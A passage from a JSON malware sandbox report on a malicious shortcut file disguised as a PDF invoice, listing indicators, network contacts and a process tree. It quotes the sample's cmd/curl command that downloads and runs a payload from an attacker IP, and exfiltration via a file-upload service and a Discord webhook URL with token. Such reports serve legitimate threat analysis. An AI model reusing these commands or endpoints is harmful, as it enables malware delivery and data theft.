utility","description":"\"pld.com\" opens a process \"C:\\Windows\\System32\\lsass.exe\" (UID: 00000000-00001384)","origin":"API Call","mitre_attack_id":"T1057","relevance":3,"id":"api-300","sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"level":"malicious","category":"Unusual Characteristics","name":"Spawns many processes","description":"$4e","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":8,"id":"target-14","sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]}],"incidents":[{"name":"Persistence","details_count":1,"details":[{"detail":"Creates new processes"}],"sources":[{"report_type":"sandbox","report_id":"6a293f8a74c31238f70d6a67"},{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"name":"Exploit","details_count":1,"details":[{"detail":"GETs/downloads executable files from web server"}],"sources":[{"report_type":"sandbox","report_id":"6a293f8a74c31238f70d6a67"}]},{"name":"Network","details_count":1,"details":[{"detail":"GETs executable from a web server (HTTPS)"}],"sources":[{"report_type":"sandbox","report_id":"6a293f8a74c31238f70d6a67"}]},{"name":"Spyware","details_count":3,"details":[{"detail":"POSTs data to a web server"},{"detail":"Found a string that may be used as part of an injection method"},{"detail":"Collects system information using POST request"}],"sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"name":"Fingerprint","details_count":1,"details":[{"detail":"Queries kernel debugger information"}],"sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"name":"Evasive","details_count":3,"details":[{"detail":"Executes WMI queries known to be used for VM detection"},{"detail":"Found a reference to a WMI query string known to be used for VM detection"},{"detail":"Writes archive files"}],"sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"name":"Spreading","details_count":1,"details":[{"detail":"Detected multiple DNS responses with a low TTL"}],"sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"name":"Network Behavior","details_count":1,"details":[{"detail":"Contacts 14 domains and 14 hosts"}],"sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]}]},"activity":{"stats":{"process_count":22,"spawned_processes_count":22,"injected_processes_count":0,"script_calls_count":0,"mutex_created_count":20,"imported_dlls_count":225,"dropped_files_count":0,"extracted_files_count":22,"files_written_count":248,"files_deleted_count":0,"registry_keys_created_count":11,"registry_keys_modified_count":0,"registry_keys_deleted_count":0,"registry_keys_opened_count":0,"registry_keys_queried_count":0,"registry_operations_count":11,"embedded_ips_count":0,"embedded_domains_count":0,"embedded_urls_count":0,"contacted_hosts_count":15,"dns_resolutions_count":14,"contacted_urls_count":22,"http_requests_count":22},"behavior_tags":["exploit","downloader","infostealer","evasive"],"sample_flags":["Multi-Process","Network Traffic","Extracted Files"],"sandbox_reports":[{"id":"6a293f8a74c31238f70d6a67","environment_id":160,"environment_description":"Windows 10 64 bit","state":"SUCCESS","verdict":"malicious","threat_score":90,"malware_family":"Exploit.Lnk","contacted_countries":["DEU"],"submit_name":"45171981ac23dcb7e90dd9a3ce07415720be92815bcd2ccfe51e716d736eab3e.bin","analysis_start_time":"2026-06-10T10:42:19+00:00","indicators_count":{"informative":53,"suspicious":18,"malicious":3},"tags":["Multi-Process","Network Traffic","Extracted Files"],"is_in_unified_schema":true},{"id":"6a27f57c92808adf8602c53c","environment_id":140,"environment_description":"Windows 11 64 bit","state":"SUCCESS","verdict":"malicious","threat_score":100,"malware_family":"Exploit.Lnk","contacted_countries":["DEU","USA"],"submit_name":"agreement-inovice.pdf.lnk","analysis_start_time":"2026-06-09T11:14:05+00:00","indicators_count":{"informative":162,"suspicious":66,"malicious":13},"tags":["Multi-Process","Network Traffic","Extracted Files"],"is_in_unified_schema":true}],"network_activity":{"contacted_hosts":[{"address":"41.216.188.11","port":8000,"protocol":"TCP","country":"Germany","sources":[{"report_type":"sandbox","report_id":"6a293f8a74c31238f70d6a67"},{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"address":"104.21.82.151","port":443,"protocol":"UDP","sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"address":"104.16.79.73","port":443,"protocol":"TCP","sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"address":"142.251.218.98","port":443,"protocol":"UDP","country":"United States","sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"address":"142.251.218.162","port":443,"protocol":"UDP","country":"United States","sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"address":"142.251.218.226","port":443,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"address":"142.251.219.1","port":443,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"address":"142.251.156.119","port":443,"protocol":"UDP","country":"United States","sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"address":"150.171.110.194","port":443,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"address":"142.251.218.106","port":443,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"address":"150.171.109.77","port":443,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"address":"104.26.7.74","port":443,"protocol":"TCP","sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"address":"216.227.187.18","port":443,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"address":"162.159.128.233","port":443,"protocol":"TCP","sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"address":"41.216.188.11","port":5656,"protocol":"TCP","country":"Germany","sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]}],"dns_resolutions":[{"domain":"clients2.googleusercontent.com","address":"142.251.219.1","ttl":300,"country":"United States","sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"domain":"discord.com","address":"162.159.128.233","ttl":300,"country":"-","sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"domain":"edge-consumer-static.azureedge.net","address":"150.171.109.77","ttl":578,"country":"United States","sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"domain":"edgeassetservice.azureedge.net","address":"150.171.110.194","ttl":27,"country":"United States","sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"domain":"ep1.adtrafficquality.google","address":"142.251.218.226","ttl":300,"country":"United States","sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"domain":"ep2.adtrafficquality.google","address":"142.251.219.1","ttl":300,"country":"United States","sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"domain":"googleads.g.doubleclick.net","address":"142.251.218.162","ttl":300,"country":"United States","sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"domain":"ipwhois.app","address":"104.26.7.74","ttl":300,"country":"-","sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"domain":"pagead2.googlesyndication.com","address":"142.251.218.98","ttl":300,"country":"United States","sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"domain":"pdfhost.io","address":"104.21.82.151","ttl":300,"country":"-","sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"domain":"static.cloudflareinsights.com","address":"104.16.79.73","ttl":115,"country":"-","sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"domain":"upload.gofile.io","address":"216.227.187.18","ttl":3600,"country":"United States","sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"domain":"www.google.com","address":"142.251.156.119","ttl":35,"country":"United States","sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"domain":"www.googleapis.com","address":"142.251.218.106","ttl":300,"country":"United States","sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]}],"http_requests":[{"host":"41.216.188.11:8000","host_ip":"41.216.188.11:8000","url":"/ova.exe","method":"GET","response_code":"404","response_phrase":"File not found","header":"GET /ova.exe HTTP/1.1\nHost: 41.216.188.11:8000\nUser-Agent: curl/8.15.0\nAccept: */*","sources":[{"report_type":"sandbox","report_id":"6a293f8a74c31238f70d6a67"}]},{"host":"edge.microsoft.com","host_ip":"150.171.27.11:443","url":"/serviceexperimentation/v3/?osname=win&channel=stable&osver=10.0.22621&devicefamily=desktop&installdate=1684931888&clientversion=145.0.3800.58&experimentationmode=2&scpguard=0&scpfull=0&scpver=0","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /serviceexperimentation/v3/?osname=win&channel=stable&osver=10.0.22621&devicefamily=desktop&installdate=1684931888&clientversion=145.0.3800.58&experimentationmode=2&scpguard=0&scpfull=0&scpver=0 HTTP/1.1\nHost: edge.microsoft.com\nConnection: keep-alive\nPragma: no-cache\nCache-Control: no-cache\nSec-Mesh-Client-Edge-Version: 145.0.3800.58\nSec-Mesh-Client-Edge-Channel: stable\nSec-Mesh-Client-OS: Windows\nSec-Mesh-Client-OS-Version: 10.0.22621\nSec-Mesh-Client-Arch: x86_64\nSec-Mesh-Client-WebView: 0\nX-Client-Data: eyIxIjoiMCIsIjIiOiIwIiwiMyI6IjAiLCI0IjoiMTkxODA0NDc2MDYxMjc4NTg3NiIsIjYiOiJzdGFibGUiLCI5IjoiZGVza3RvcCJ9\nSec-Fetch-Site: none\nSec-Fetch-Mode: no-cors\nSec-Fetch-Dest: empty\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0\nAccept-Encoding: gzip, deflate, br, zstd\nAccept-Language: en-US,en;q=0.9","sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"host":"edge.microsoft.com","host_ip":"150.171.28.11:443","url":"/autofillservice/core/page/3966583004933025529/4085296165918256868","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /autofillservice/core/page/3966583004933025529/4085296165918256868 HTTP/1.1\nHost: edge.microsoft.com\nConnection: keep-alive\nX-Client-Data: CMDnygE=\nSec-Fetch-Site: none\nSec-Fetch-Mode: no-cors\nSec-Fetch-Dest: empty\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0\nAccept-Encoding: gzip, deflate, br, zstd\nAccept-Language: en-US,en;q=0.9","sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"host":"edge.microsoft.com","host_ip":"150.171.28.11:443","url":"/autofillservice/core/page/3966583004933025529/2274647976724947749","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /autofillservice/core/page/3966583004933025529/2274647976724947749 HTTP/1.1\nHost: edge.microsoft.com\nConnection: keep-alive\nX-Client-Data: CMDnygE=\nSec-Fetch-Site: none\nSec-Fetch-Mode: no-cors\nSec-Fetch-Dest: empty\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0\nAccept-Encoding: gzip, deflate, br, zstd\nAccept-Language: en-US,en;q=0.9","sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"host":"edge.microsoft.com","host_ip":"150.171.27.11:443","url":"/entityextractiontemplates/api/v1/assets/find-assets?name=arbitration_priority_list&version=39.*.*&channel=stable&key=d414dd4f9db345fa8003e32adc81b362","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /entityextractiontemplates/api/v1/assets/find-assets?name=arbitration_priority_list&version=39.*.*&channel=stable&key=d414dd4f9db345fa8003e32adc81b362 HTTP/1.1\nHost: edge.microsoft.com\nConnection: keep-alive\nEdge-Asset-Group: ArbitrationService\nSec-Fetch-Site: none\nSec-Fetch-Mode: no-cors\nSec-Fetch-Dest: empty\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0\nAccept-Encoding: gzip, deflate, br, zstd\nAccept-Language: en-US,en;q=0.9","sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"host":"edge.microsoft.com","host_ip":"150.171.27.11:443","url":"/entityextractiontemplates/api/v1/assets/find-assets?name=edge_hub_apps_manifest_gz&version=4.11.*&channel=stable&key=d414dd4f9db345fa8003e32adc81b362","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /entityextractiontemplates/api/v1/assets/find-assets?name=edge_hub_apps_manifest_gz&version=4.11.*&channel=stable&key=d414dd4f9db345fa8003e32adc81b362 HTTP/1.1\nHost: edge.microsoft.com\nConnection: keep-alive\nEdge-Asset-Group: Shoreline\nSec-Fetch-Site: none\nSec-Fetch-Mode: no-cors\nSec-Fetch-Dest: empty\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0\nAccept-Encoding: gzip, deflate, br, zstd\nAccept-Language: en-US,en;q=0.9","sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"host":"edge.microsoft.com","host_ip":"150.171.27.11:443","url":"/entityextractiontemplates/api/v1/assets/find-assets?name=domains_config_gz&version=3.*.*&channel=stable&key=d414dd4f9db345fa8003e32adc81b362","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /entityextractiontemplates/api/v1/assets/find-assets?name=domains_config_gz&version=3.*.*&channel=stable&key=d414dd4f9db345fa8003e32adc81b362 HTTP/1.1\nHost: edge.microsoft.com\nConnection: keep-alive\nEdge-Asset-Group: EntityExtractionDomainsConfig\nSec-Mesh-Client-Edge-Version: 145.0.3800.58\nSec-Mesh-Client-Edge-Channel: stable\nSec-Mesh-Client-OS: Windows\nSec-Mesh-Client-OS-Version: 10.0.22621\nSec-Mesh-Client-Arch: x86_64\nSec-Mesh-Client-WebView: 0\nSec-Fetch-Site: none\nSec-Fetch-Mode: no-cors\nSec-Fetch-Dest: empty\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0\nAccept-Encoding: gzip, deflate, br, zstd\nAccept-Language: en-US,en;q=0.9","sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"host":"edge.microsoft.com","host_ip":"150.171.27.11:443","url":"/abusiveadblocking/api/v1/blocklist","method":"GET","response_code":"304","response_phrase":"Not Modified","header":"GET /abusiveadblocking/api/v1/blocklist HTTP/1.1\nHost: edge.microsoft.com\nConnection: keep-alive\nIf-None-Match: \"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"\nSec-Mesh-Client-Edge-Version: 145.0.3800.58\nSec-Mesh-Client-Edge-Channel: stable\nSec-Mesh-Client-OS: Windows\nSec-Mesh-Client-OS-Version: 10.0.22621\nSec-Mesh-Client-Arch: x86_64\nSec-Mesh-Client-WebView: 0\nSec-Fetch-Site: none\nSec-Fetch-Mode: no-cors\nSec-Fetch-Dest: empty\nSec-Fetch-Storage-Access: active\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0\nAccept-Encoding: gzip, deflate, br, zstd","sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"host":"edge.microsoft.com","host_ip":"150.171.27.11:443","url":"/extensionwebstorebase/v1/crx","method":"POST","response_code":"200","response_phrase":"OK","header":"POST /extensionwebstorebase/v1/crx HTTP/1.1\nHost: edge.microsoft.com\nConnection: keep-alive\nContent-Length: 943\nMS-CV: 8V3pkBWa3F3AXBSaVgYkYE\nX-Microsoft-Update-AppId: jmjflgjpcpepeafmmgdpfkogkghcpiha\nX-Microsoft-Update-Interactivity: bg\nX-Microsoft-Update-Service-Cohort: 2760\nX-Microsoft-Update-Updater: msedgecrx-145.0.3800.58\nContent-Type: application/json\nSec-Mesh-Client-Edge-Version: 145.0.3800.58\nSec-Mesh-Client-Edge-Channel: stable\nSec-Mesh-Client-OS: Windows\nSec-Mesh-Client-OS-Version: 10.0.22621\nSec-Mesh-Client-Arch: x86_64\nSec-Mesh-Client-WebView: 0\nX-Client-Data: CMDnygE=\nSec-Fetch-Site: none\nSec-Fetch-Mode: no-cors\nSec-Fetch-Dest: empty\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0\nAccept-Encoding: gzip, deflate, br, zstd\nAccept-Language: en-US,en;q=0.9","sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"host":"c.bing.com","host_ip":"150.171.27.10:443","url":"/c.gif?Red3=EdgPID_pd&pid=791fa849-2d7d-4fb8-8d97-bae4966f4034","method":"GET","response_code":"200","response_phrase":"OK","header":"$4f","sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"host":"www.google.com","host_ip":"142.251.156.119:443","url":"/","method":"GET","response_code":"200","response_phrase":"OK","header":"GET / HTTP/1.1\nHost: www.google.com\nUser-Agent: python-requests/2.32.5\nAccept-Encoding: gzip, deflate\nAccept: */*\nConnection: keep-alive","sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"host":"ipwhois.app","host_ip":"104.26.7.74:443","url":"/json/","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /json/ HTTP/1.1\nHost: ipwhois.app\nUser-Agent: python-requests/2.32.5\nAccept-Encoding: gzip, deflate\nAccept: */*\nConnection: keep-alive","sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"host":"upload.gofile.io","host_ip":"216.227.187.18:443","url":"/uploadFile","method":"POST","response_code":"200","response_phrase":"OK","header":"POST /uploadFile HTTP/1.1\nHost: upload.gofile.io\nUser-Agent: python-requests/2.32.5\nAccept-Encoding: gzip, deflate\nAccept: */*\nConnection: keep-alive\nContent-Length: 1585817\nContent-Type: multipart/form-data; boundary=674e947b3ad7180580b00da2f5c8749d","sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"host":"discord.com","host_ip":"162.159.128.233:443","url":"/api/webhooks/1385210309710450771/cyTarqPOg1-Cx0fiKEWEABPMvmuTOae-mTZEkQITXGguZHVtusKRK8rveRuw6AVR4MdS?with_components=true","method":"POST","response_code":"204","response_phrase":"No Content","header":"POST /api/webhooks/1385210309710450771/cyTarqPOg1-Cx0fiKEWEABPMvmuTOae-mTZEkQITXGguZHVtusKRK8rveRuw6AVR4MdS?with_components=true HTTP/1.1\nHost: discord.com\nUser-Agent: python-requests/2.32.5\nAccept-Encoding: gzip, deflate\nAccept: */*\nConnection: keep-alive\nContent-Length: 812\nContent-Type: application/json","sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"host":"static.cloudflareinsights.com","host_ip":"104.16.79.73:443","url":"/beacon.min.js/v833ccba57c9e4d2798f2e76cebdd09a11778172276447","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /beacon.min.js/v833ccba57c9e4d2798f2e76cebdd09a11778172276447 HTTP/2\nHost: static.cloudflareinsights.com\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0\nSec-Fetch-Mode: cors\nReferer: https://pdfhost.io/\nSec-Ch-Ua: \"Not:A-Brand\";v=\"99\", \"Microsoft Edge\";v=\"145\", \"Chromium\";v=\"145\"\nSec-Ch-Ua-Mobile: ?0\nSec-Fetch-Site: cross-site\nAccept-Language: en-US,en;q=0.9\nOrigin: https://pdfhost.io\nSec-Ch-Ua-Platform: \"Windows\"\nAccept-Encoding: gzip, deflate, br, zstd\nAccept: */*\nSec-Fetch-Dest: script","sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"host":"ep1.adtrafficquality.google","host_ip":"142.251.218.226:443","url":"/getconfig/sodar?sv=200&tid=gda&tv=r20260604&st=env&sjk=2257203405405487","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /getconfig/sodar?sv=200&tid=gda&tv=r20260604&st=env&sjk=2257203405405487 HTTP/2\nHost: ep1.adtrafficquality.google\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0\nSec-Fetch-Mode: cors\nReferer: https://pdfhost.io/\nSec-Fetch-Site: cross-site\nAccept-Language: en-US,en;q=0.9\nOrigin: https://pdfhost.io\nPriority: u=1, i\nAccept: */*\nSec-Ch-Ua: \"Not:A-Brand\";v=\"99\", \"Microsoft Edge\";v=\"145\", \"Chromium\";v=\"145\"\nSec-Ch-Ua-Mobile: ?0\nSec-Ch-Ua-Platform: \"Windows\"\nAccept-Encoding: gzip, deflate, br, zstd\nSec-Fetch-Dest: empty","sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"host":"ep2.adtrafficquality.google","host_ip":"142.251.219.1:443","url":"/sodar/sodar2.js","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /sodar/sodar2.js HTTP/2\nHost: ep2.adtrafficquality.google\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0\nSec-Fetch-Mode: no-cors\nSec-Fetch-Storage-Access: none\nReferer: https://pdfhost.io/\nSec-Ch-Ua: \"Not:A-Brand\";v=\"99\", \"Microsoft Edge\";v=\"145\", \"Chromium\";v=\"145\"\nSec-Ch-Ua-Mobile: ?0\nSec-Fetch-Site: cross-site\nAccept-Language: en-US,en;q=0.9\nSec-Ch-Ua-Platform: \"Windows\"\nAccept-Encoding: gzip, deflate, br, zstd\nAccept: */*\nSec-Fetch-Dest: script","sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"host":"ep2.adtrafficquality.google","host_ip":"142.251.219.1:443","url":"/sodar/sodar2/254/runner.html","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /sodar/sodar2/254/runner.html HTTP/2\nHost: ep2.adtrafficquality.google\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0\nSec-Fetch-Mode: navigate\nSec-Fetch-Storage-Access: none\nReferer: https://pdfhost.io/\nSec-Fetch-Site: cross-site\nAccept-Language: en-US,en;q=0.9\nPriority: u=0, i\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7\nSec-Ch-Ua: \"Not:A-Brand\";v=\"99\", \"Microsoft Edge\";v=\"145\", \"Chromium\";v=\"145\"\nSec-Ch-Ua-Mobile: ?0\nSec-Ch-Ua-Platform: \"Windows\"\nUpgrade-Insecure-Requests: 1\nAccept-Encoding: gzip, deflate, br, zstd\nSec-Fetch-Dest: iframe","sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"host":"edgeassetservice.azureedge.net","host_ip":"150.171.110.194:443","url":"/assets/arbitration_priority_list/39.0.3/asset?assetgroup=ArbitrationService","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /assets/arbitration_priority_list/39.0.3/asset?assetgroup=ArbitrationService HTTP/2\nHost: edgeassetservice.azureedge.net\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0\nSec-Fetch-Mode: no-cors\nEdge-Asset-Group: ArbitrationService\nSec-Fetch-Site: none\nAccept-Language: en-US,en;q=0.9\nPriority: u=4, i\nAccept-Encoding: gzip, deflate, br, zstd\nSec-Fetch-Dest: empty","sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"host":"www.googleapis.com","host_ip":"142.251.218.106:443","url":"/chromewebstore/v1.1/items/verify","method":"POST","response_code":"200","response_phrase":"OK","header":"POST /chromewebstore/v1.1/items/verify HTTP/2\nHost: www.googleapis.com\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0\nContent-Type: application/json\nSec-Fetch-Mode: no-cors\nSec-Fetch-Storage-Access: active\nSec-Fetch-Site: none\nAccept-Language: en-US,en;q=0.9\nPriority: u=4, i\nAccept-Encoding: gzip, deflate, br, zstd\nSec-Fetch-Dest: empty","sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"host":"edge-consumer-static.azureedge.net","host_ip":"150.171.109.77:443","url":"/mouse-gesture/config.json","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /mouse-gesture/config.json HTTP/2\nHost: edge-consumer-static.azureedge.net\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0\nSec-Fetch-Mode: no-cors\nSec-Fetch-Storage-Access: active\nSec-Fetch-Site: none\nPriority: u=4, i\nAccept-Encoding: gzip, deflate, br, zstd\nSec-Fetch-Dest: empty","sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"host":"clients2.googleusercontent.com","host_ip":"142.251.219.1:443","url":"/crx/blobs/AcPRoer4aKzvumujugdaImkRO90DhvB1jVZgnZQqHtOuS3CpNLYrK7J5tMTYvp_njyKFVYYoc3wd5iackYMogzXtBActnysgvTs0cM4JdDmi0ePXnnWj7xxeLXXe4BAM0WoAxlKa5bmSi3vwiVxq0nJ3VjtC1YYizVve/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_106_1_0.crx","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /crx/blobs/AcPRoer4aKzvumujugdaImkRO90DhvB1jVZgnZQqHtOuS3CpNLYrK7J5tMTYvp_njyKFVYYoc3wd5iackYMogzXtBActnysgvTs0cM4JdDmi0ePXnnWj7xxeLXXe4BAM0WoAxlKa5bmSi3vwiVxq0nJ3VjtC1YYizVve/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_106_1_0.crx HTTP/2\nHost: clients2.googleusercontent.com\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0\nSec-Fetch-Mode: no-cors\nSec-Fetch-Site: none\nAccept-Language: en-US,en;q=0.9\nSec-Mesh-Client-Arch: x86_64\nSec-Mesh-Client-Os: Windows\nPriority: u=4, i\nSec-Mesh-Client-Edge-Version: 145.0.3800.58\nSec-Mesh-Client-Edge-Channel: stable\nAccept-Encoding: gzip, deflate, br, zstd\nSec-Mesh-Client-Os-Version: 10.0.22621\nSec-Mesh-Client-Webview: 0\nSec-Fetch-Dest: empty","sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]}]},"process_activity":{"sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}],"processes":[{"pid":3320,"ppid":0,"name":"cmd.exe","command_line":"/c echo curl -L \"http://41.216.188.11:8000/ova.exe\" -o \"%TEMP%\\mas.bat\"&& start /b \"\" \"%TEMP%\\mas.bat\"","sha256":"423e0e810a69aaceba0e5670e58aff898cf0ebffab99ccb46ebb3464c3d2facb","normalized_path":"%WINDIR%\\System32\\cmd.exe","uid":"00000000-00003320","icon":"$50"},{"pid":2964,"ppid":3320,"name":"cmd.exe","command_line":"/K \"%TEMP%\\mas.bat\"","sha256":"423e0e810a69aaceba0e5670e58aff898cf0ebffab99ccb46ebb3464c3d2facb","normalized_path":"%WINDIR%\\system32\\cmd.exe","parent_uid":"00000000-00003320","uid":"00000000-00002964"},{"pid":2704,"ppid":2964,"name":"curl.exe","command_line":"curl -L \"http://41.216.188.11:8000/ova.exe\" -o \"%PUBLIC%\\pld.com\"","sha256":"3050c33bfb67f7b4d1275aa12cd4622b7f853e63de34a7412f67269de070dbb7","normalized_path":"%WINDIR%\\System32\\curl.exe","parent_uid":"00000000-00002964","uid":"00000000-00002704"},{"pid":7420,"ppid":2964,"name":"pld.com","command_line":"","sha256":"5a52d6773840fd5ab45d781d572d9fbd6a8dacb08dcda65036ce8b28548a5224","normalized_path":"%PUBLIC%\\pld.com","parent_uid":"00000000-00002964","uid":"00000000-00007420"},{"pid":1384,"ppid":7420,"name":"pld.com","command_line":"","sha256":"5a52d6773840fd5ab45d781d572d9fbd6a8dacb08dcda65036ce8b28548a5224","normalized_path":"%PUBLIC%\\pld.com","parent_uid":"00000000-00007420","uid":"00000000-00001384"},{"pid":3324,"ppid":1384,"name":"msedge.exe","command_line":"--single-argument 